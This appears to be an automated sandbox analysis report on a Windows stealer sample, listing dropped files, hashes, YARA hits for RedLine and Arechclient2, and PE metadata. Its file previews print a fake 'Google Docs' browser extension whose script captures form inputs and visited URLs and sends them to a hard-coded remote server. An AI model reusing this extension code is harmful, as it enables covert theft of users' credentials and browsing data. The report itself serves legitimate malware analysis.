SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpE0A1.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpE976.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF111.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF1FD.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.848598812124929
Encrypted:	false
SSDEEP:	24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
MD5:	9664DAA86F8917816B588C715D97BE07
SHA1:	FAD9771763CD861ED8F3A57004C4B371422B7761
SHA-256:	8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
SHA-512:	E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF9BF.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.848598812124929
Encrypted:	false
SSDEEP:	24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
MD5:	9664DAA86F8917816B588C715D97BE07
SHA1:	FAD9771763CD861ED8F3A57004C4B371422B7761
SHA-256:	8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
SHA-512:	E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpFFF.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\xwv

Download File

Process:	C:\Windows\SysWOW64\more.com
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	1835524
Entropy (8bit):	5.9656438669078
Encrypted:	false
SSDEEP:	12288:qvsXZv8km0OHcbGbvzWHz0Hnquw3S+Q0ssFWylkkoAbtEPkwfNqbYS2VbICKMIUi:tfPz0H0rQ0ssFlSjYuZ2
MD5:	72CD39D8FAB3027CA08619785CB45C47
SHA1:	F259929418E0C6993B72F862C00ACF911121D36D
SHA-256:	0D6B221BA752D6758D79ABBE97C2367D5C2A0BB676E8F8DCE87466E772D9E662
SHA-512:	7F0A932A2820B6BBC7BDAA5FB46766363CE081148E96CFD66EAC159F11B97B2AA74DD1BAE9CB6B454A312049E29CF46A9A76CE8CFB3C070BAACE0E23DC2670CA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\xwv, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Local\Temp\xwv, Author: Joe Security Rule: MALWARE_Win_Arechclient2, Description: Detects Arechclient2 RAT, Source: C:\Users\user\AppData\Local\Temp\xwv, Author: ditekSHen
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....W.O................................. ........@.. .......................`..............................................T...W.... .......................@....................................................... ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H.......L....>..........T...@............................................0............. ....X..%-.&sp...sq...}-..... ....Y.~-.....UY.).... .....7...%.....~,.....[Y.)....sr...~-.....TY.)....os.........%.~t.... ....X~t.... ....X~t.... ....X(.....%.~-.....SY.)......~-.....RY.)....~0...%-.&~/.........su...%.0...(...+}.....0........... ....X..{M.....0............(..... .p..Y. ...@\...\a..Z3.+.~t.... .M..X+2~...... ....^ ...l_.3.+. 4.rc H:;..+.~t.... ...X..#.......@. ..... ....\

C:\Users\user\AppData\Local\Temp\yuyhf

Download File

Process:	C:\Windows\SysWOW64\more.com
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	1835524
Entropy (8bit):	5.9656438669078
Encrypted:	false
SSDEEP:	12288:qvsXZv8km0OHcbGbvzWHz0Hnquw3S+Q0ssFWylkkoAbtEPkwfNqbYS2VbICKMIUi:tfPz0H0rQ0ssFlSjYuZ2
MD5:	72CD39D8FAB3027CA08619785CB45C47
SHA1:	F259929418E0C6993B72F862C00ACF911121D36D
SHA-256:	0D6B221BA752D6758D79ABBE97C2367D5C2A0BB676E8F8DCE87466E772D9E662
SHA-512:	7F0A932A2820B6BBC7BDAA5FB46766363CE081148E96CFD66EAC159F11B97B2AA74DD1BAE9CB6B454A312049E29CF46A9A76CE8CFB3C070BAACE0E23DC2670CA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\yuyhf, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Local\Temp\yuyhf, Author: Joe Security Rule: MALWARE_Win_Arechclient2, Description: Detects Arechclient2 RAT, Source: C:\Users\user\AppData\Local\Temp\yuyhf, Author: ditekSHen
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....W.O................................. ........@.. .......................`..............................................T...W.... .......................@....................................................... ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H.......L....>..........T...@............................................0............. ....X..%-.&sp...sq...}-..... ....Y.~-.....UY.).... .....7...%.....~,.....[Y.)....sr...~-.....TY.)....os.........%.~t.... ....X~t.... ....X~t.... ....X(.....%.~-.....SY.)......~-.....RY.)....~0...%-.&~/.........su...%.0...(...+}.....0........... ....X..{M.....0............(..... .p..Y. ...@\...\a..Z3.+.~t.... .M..X+2~...... ....^ ...l_.3.+. 4.rc H:;..+.~t.... ...X..#.......@. ..... ....\

C:\Users\user\AppData\Local\ksedtnorf\llg\background.js

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	596
Entropy (8bit):	4.089531522812482
Encrypted:	false
SSDEEP:	12:8/ACiDfZISRZLWxicmFGW8NkzCIzvWkE5rBQNFBajVDGwgI/:8ICi9IyLWxHyGWMjIzWccMFG
MD5:	AA0E77EC6B92F58452BB5577B9980E6F
SHA1:	237872F2B0C90E8CBE61EAA0E2919D6578CACD3F
SHA-256:	AAD1C9BE17F64D7700FEB2D38DF7DC7446A48BF001AE42095B59B11FD24DFCDE
SHA-512:	37366BD1E0A59036FE966F2E2FE3A0F7DCE6F11F2ED5BF7724AFB61EA5E8D3E01BDC514F0DEB3BEB6FEBFD8B4D08D45E4E729C23CC8F4CAE4F6D11F18FC39FA6
Malicious:	false
Preview:	.async function httpGet(theUrl).{. let response = await fetch(theUrl);. let user = await response.text();.. return user;.}..chrome.runtime.onMessage.addListener(. (request, sender, sendResponse) => {. if (request.message === "get"){. new Promise(async send => {. try{. var key = await httpGet(request.url);. // console.log("send");. send(key);. }catch(error){. send("null");. }.. }).then(sendResponse);. console.log("findl");. return true;. }. . }. );

C:\Users\user\AppData\Local\ksedtnorf\llg\content.js

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1879
Entropy (8bit):	5.217775454649575
Encrypted:	false
SSDEEP:	48:2G1iVUYRor51e0Ad7hR/NAGVqkh3vCI4dBoYCY+YCL:2G1OU8thjvfC8
MD5:	FF7B82DDF039D1EE666AE0E35DC90424
SHA1:	BBA4BA4AE0AF7AA72081BC082CF3E95DD472C88B
SHA-256:	EEF79A411060B3288629D0D2E41EFCFB0D32E65B1CC9AE01B1EECCDF159AC49F
SHA-512:	F8C89BB32483E210BC787A7244E9542E554EF7D1A3C91F7D5AE46730030F868597C53788F99859E5AF1A03C286D1A4478FB512A76EFE97DCEAA1355EB02386F2
Malicious:	false
Preview:	var server = "http://213.109.202.97:9000/";.var iddd = 'ABEE5D020398559D1CCC81B5F72669AE';..var debug = 1;.var currLoc = "";..(async function () {...var clientId = iddd;..urlChangeAllert();.....spyjs_refreshEvents(clientId);...})()..function urlChangeAllert(){..try{...var loc = window.location;...getNoRet(server+'churl?pcid='+iddd+"&url="+loc);..}catch(error){ }...}..function spyjs_refreshEvents(clid){..if(currLoc != location.href){...currLoc=location.href;...spyjs_saveData("("+currLoc+")");..}..$('input').unbind('change');..$('input').change(function(e) {. ..spyjs_getInput(e.currentTarget, clid);..});....$('select').unbind('change');..$('select').change(function(e) {. ..spyjs_getInput(e.currentTarget, clid);..});....$('checkbox').unbind('change');..$('checkbox').change(function(e) {. ..spyjs_getInput(e.currentTarget, clid);..});....$('button').unbind('change');..$('button').change(function(e) {. ..spyjs_getInput(e.currentTarget, clid);..});......$('textarea').unbind('change');..$(

C:\Users\user\AppData\Local\ksedtnorf\llg\icon.png

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5657
Entropy (8bit):	7.83233516247914
Encrypted:	false
SSDEEP:	96:Nyq+wylRcbfXdRICJdBsooMKWsXFAP39Asutnd4mm5oq+tlwg4Ae4quVpdI8JW1:kq+TRYCooMKDXFAPDutLmKtusquVpG8m
MD5:	2C905A6E4A21A3FA14ADC1D99B7CBC03
SHA1:	BD8682B580D951E3DF05DFD467ABBA6B87BB43D9
SHA-256:	CC3631CED23F21AE095C1397770E685F12F6AD788C8FA2F15487835A77A380FB
SHA-512:	753E28BAB9D50B7882A1308F6072F80FDA99EDEAA476FAFC7E647D29F5C9C15F5C404689C866F8F198B7F1ED41BAE3CC55AE4D15528B0DF966A47CBC4B31CAF6
Malicious:	false
Preview:	.PNG........IHDR..............>a.....sRGB.........gAMA......a.....IDATx^.yt.....H.$!@......tf...9uA..*..H.w..#"...N......K .....N...helE%...a..........}......9.wr..=..~.r.....N8..N8..N8..N8.t.....?...{..a......o&5?7..3hA...<~...~.......p.5(..o....Z6$..&.....=.DUO8.9...?/.0....?...'......XE.......#H..s.o.x.....v.,8.%..;X.....$lZ....^D..............$bp....<M@....v.......0.......S..7#.."(..Ea.~...L..`FP.F.dx...[.a.....,..;.@...../"YX.........]...\./"Y8....Z. #...0...H...0#(.Fp0..vx....'..... ....D@...R.?k..........&.....{../..[..M.9.n.. .&.^.........._...u..8. ..t..?!V.....]v.....6.y..}E ...p\|[.8...\|w`..u...7#...1........".`.Xz..........1...d;..G......0..?.D....U/h=0..F0l.rND...`....v8g.-0.[...^.kw=..]G`.....YP...0..M....C.tM........H.v...1......;...7...........L.jC....P.o....L..>.@.....].8.."&....-&......NP.I.8...\..@c......5..._...=#..G... 6.......'!...@.%......y..l.a.@..7d.1....g..3..<.^+M.WK.Cu.R........]#T......4.^...'gU...~...L...z...@

C:\Users\user\AppData\Local\ksedtnorf\llg\jquery.js

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	ASCII text, with very long lines (32086)
Category:	dropped
Size (bytes):	95785
Entropy (8bit):	5.393592005865771
Encrypted:	false
SSDEEP:	1536:/PEkjP+iADIOr/NEe876nmBu3HvF38sEeLHFoqqhJ7SerN5wVI+xcBmPv7E+nzmQ:ENMyqhJvN32cBC7M6Whca98Hrp
MD5:	3C9137D88A00B1AE0B41FF6A70571615
SHA1:	1797D73E9DA4287351F6FBEC1B183C19BE217C2A
SHA-256:	24262BAAFEF17092927C3DAFE764AAA52A2A371B83ED2249CCA7E414DF99FAC1
SHA-512:	31730738E73937EE0086849CB3D6506EA383CA2EAC312B8D08E25C60563DF5702FC2B92B3778C4B2B66E7FDDD6965D74B5A4DF5132DF3F02FAED01DCF3C7BCAE
Malicious:	false
Preview:	/! jQuery v1.11.1 \| (c) 2005, 2014 jQuery Foundation, Inc. \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l="1.11.1",m=function(a,b){return new m.fn.init(a,b)},n=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,o=/^-ms-/,p=/-([\da-z])/gi,q=function(a,b){return b.toUpperCase()};m.fn=m.prototype={jquery:l,constructor:m,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=m.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return m.each(this,a,b)},map:function(a){return this.pushStack(m.map(this,function(b,c){ret

C:\Users\user\AppData\Local\ksedtnorf\llg\manifest.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	569
Entropy (8bit):	4.878267680490818
Encrypted:	false
SSDEEP:	12:flNAuCONn3Ao19aHuDFRJIbpmxbuvWB0vXY:flVCONQo1XabpWuvPvXY
MD5:	2835DD0A0AEF8405D47AB7F73D82EAA5
SHA1:	851EA2B4F89FC06F6A4CD458840DD5C660A3B76C
SHA-256:	2AAFD1356D876255A99905FBCAFB516DE31952E079923B9DDF33560BBE5ED2F3
SHA-512:	490327E218B0C01239AC419E02A4DC2BD121A08CB7734F8E2BA22E869B60175D599104BA4B45EF580E84E312FE241B3D565FAC958B874D6256473C2F987108CC
Malicious:	false
Preview:	{.."manifest_version": 2,..."name": "Google Docs",.. "description": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.",.."version": "1.7.38",.."icons": {. "16": "icon.png",. "48": "icon.png",. "128": "icon.png". },..."permissions": [..."activeTab",..."storage"..],.."content_scripts": [ {..."all_frames": true,..."js": [ "jquery.js","content.js"],..."matches": [ "<all_urls>" ] ..} ],.."background": {. ."service_worker": "background.js". .},.."browser_action": {..."default_title": "SFASFASD"..}.}

C:\Windows\Tasks\AsusFCNotification.job

Download File

Process:	C:\Windows\SysWOW64\more.com
File Type:	data
Category:	dropped
Size (bytes):	320
Entropy (8bit):	3.633050392500467
Encrypted:	false
SSDEEP:	6:Lm9GrS8fkMlW8g1UEZglJPZIP0wWixnPAtcVAkXIEZ8MlW8+y0lbVE9n1:gGrSmkkXg1MJi0GpakXd8kX+VC1
MD5:	6AF17497FA575856EA4EA1DFB872D05F
SHA1:	3A9EA8F41D0E19E3BA8BED7663C2126FF02CDF18
SHA-256:	7AC407B5A243579EDDCD3A919D92BEE10FB4B1DBA9B689301C1EE9032606E401
SHA-512:	7C02800437B0F8C20618759763D6EFFDDFCFB24719F4FF24FE16954346A8595B892182344C863E0EEBB7A5574C38831E52ACB8CC42986367AC62174B9EE892C4
Malicious:	false
Preview:	.....`.....I..1..<e.F.......<... ................ ....................B.C.:.\.U.s.e.r.s.\.f.r.o.n.t.d.e.s.k.\.A.p.p.D.a.t.a.\.R.o.a.m.i.n.g.\.I.T.E.i.n.b.o.x.I.2.C.F.l.a.s.h.\.I.T.E.R.H.P.G.e.n...e.x.e.........F.R.O.N.T.D.E.S.K.-.P.C.\.f.r.o.n.t.d.e.s.k...................0.........i......./.............................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Entropy (8bit):	7.240025244071637
TrID:	Win32 Executable (generic) a (10002005/4) 99.83% Windows Screen Saver (13104/52) 0.13% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00%
File name:	1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe
File size:	19'169'216 bytes
MD5:	2afbe1369dd12cc3264a4b4c332396b0
SHA1:	06b730230788c3f066f634a0c2a499e961180e26
SHA256:	1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38bc6fc8dc06c595a08ad
SHA512:	c95306b6957edad35c15e0252fbb4c98a39ebec5ce25ab396e46a2005ebe84598b0e5bfd0335a8c9010f8f075bf750965723cde84c5609bced09074eb0e666a8
SSDEEP:	393216:dd1PUuu6iCDbuNvhuGCDbuNetK0NYAaWzxDxEbXvj2CEBqe6:pUuuvCDbux0GCDbu+6
TLSH:	ED17CF93ADC0C4F9D8FB09F003A67A245579EFF0642914569AB53F794F3F6822826237
File Content Preview:	MZP.....................@.......jr......................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	d0a4ac8c9ae6ca55

Static PE Info

General

Entrypoint:	0x402550
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x653EA936 [Sun Oct 29 18:49:26 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2f0cba50881d475b62bf2db9d3583872

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=GlobalSign CodeSigning CA - G2, O=GlobalSign nv-sa, C=BE
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	04/02/2016 13:58:20 01/02/2019 09:40:12
Subject Chain	CN=Noriyuki Miyazaki, C=JP
Version:	3
Thumbprint MD5:	272089040D8F7F4030E1629CC4583818
Thumbprint SHA-1:	7BA0F7A9C8C5F5F86A063184C04556405A2B1890
Thumbprint SHA-256:	81B160F0100DE41A7D53D4C3E19D58525836E9875088FEE5094E500B57493EE8
Serial:	11218B069CCBEDB332B1EC4560BEE4BF2C14

Entrypoint Preview

Instruction
jmp 00007F307CB7E992h
bound di, dword ptr [edx]
inc ebx
sub ebp, dword ptr [ebx]
dec eax
dec edi
dec edi
dec ebx
nop
jmp 00007F307D288A35h
call 00007F307CE7B57Ah
mov eax, dword ptr [0070A0A3h]
shl eax, 02h
mov dword ptr [0070A0A7h], eax
push edx
push 00000000h
call 00007F307CE8460Fh
mov edx, eax
mov dword ptr [0070A0ABh], edx
call 00007F307CE6BA40h
pop edx
call 00007F307CE6B8D6h
call 00007F307CE6BB7Dh
push 0070A04Ch
push 00000000h
call 00007F307CE845EBh
mov dword ptr [0070A0ABh], eax
push 00000000h
jmp 00007F307CE7D081h
xor eax, eax
mov al, byte ptr [0070A095h]
ret
mov eax, dword ptr [0070A0ABh]
ret
pushad
mov ebx, BCB05000h
push ebx
push 00000BADh
ret
mov ecx, 00000394h
or ecx, ecx
je 00007F307CB7E9CFh
cmp dword ptr [0070A0A3h], 00000000h
jnc 00007F307CB7E98Ch
mov eax, 000000FEh
call 00007F307CB7E95Ch
mov ecx, 00000394h
push ecx
push 00000008h
call 00007F307CE845B3h
push eax
call 00007F307CE8466Dh
or eax, eax
jne 00007F307CB7E98Ch
mov eax, 000000FDh
call 00007F307CB7E93Bh
push eax
push eax
push dword ptr [0070A0A3h]
call 00007F307CE7D29Ch
push dword ptr [0070A0A3h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x344000	0x51b	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x33f000	0x387a	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x345000	0xa990a7	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x1243010	0x4fb0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xddf000	0x4092c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x33e000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x343000	0xae2	.didata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x309000	0x308400	752846bb503fc363205a4937db58ce03	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x30a000	0x33000	0x1e400	e9491732fddd7a13cd8df137568cbf3b	False	0.4451672262396694	data	5.982799163568861	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x33d000	0x1000	0x400	91ccb28eb66f40fb9808fd088da27ba6	False	0.0234375	data	0.028873878370704306	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x33e000	0x1000	0x200	09363a74edb8c3ec414e5d0412a2eeed	False	0.0546875	data	0.2147325177871819	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.idata	0x33f000	0x4000	0x3a00	aa177c5a82e66d72f5e3b0d6e79e30f1	False	0.3103448275862069	data	5.21556899123485	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.didata	0x343000	0x1000	0xc00	1ee7d3f2e4090c5b2258068271918edb	False	0.3668619791666667	data	4.450691419753899	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.edata	0x344000	0x1000	0x600	e36d593934728adde83f9eae7c829658	False	0.4186197916666667	data	5.019441062117674	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x345000	0xa990a7	0xa99200	339689d2b2d17baef5013b3d1a9e9b54	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xddf000	0x41000	0x40a00	cfc1ed5cc50a0a773fb400cfc3979192	False	0.6527630863152805	data	6.7335377962341365	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RPL	0x349cd8	0x267dfd	PNG image data, 2096 x 1532, 8-bit/color RGB, non-interlaced	English	United States	0.9986658096313477
RT_CURSOR	0x5b1ad8	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"	English	United States	0.38636363636363635
RT_CURSOR	0x5b1c0c	0x134	data	English	United States	0.4642857142857143
RT_CURSOR	0x5b1d40	0x134	data	English	United States	0.4805194805194805
RT_CURSOR	0x5b1e74	0x134	data	English	United States	0.38311688311688313
RT_CURSOR	0x5b1fa8	0x134	data	English	United States	0.36038961038961037
RT_CURSOR	0x5b20dc	0x134	data	English	United States	0.4090909090909091
RT_CURSOR	0x5b2210	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	English	United States	0.4967532467532468
RT_BITMAP	0x5b2344	0x1d8	Device independent bitmap graphic, 12 x 12 x 24, image size 432	English	United States	0.7309322033898306
RT_BITMAP	0x5b251c	0x188	Device independent bitmap graphic, 14 x 8 x 24, image size 352	English	United States	0.413265306122449
RT_BITMAP	0x5b26a4	0x1d8	Device independent bitmap graphic, 12 x 12 x 24, image size 432	English	United States	0.7669491525423728
RT_BITMAP	0x5b287c	0x188	Device independent bitmap graphic, 14 x 8 x 24, image size 352	English	United States	0.42091836734693877
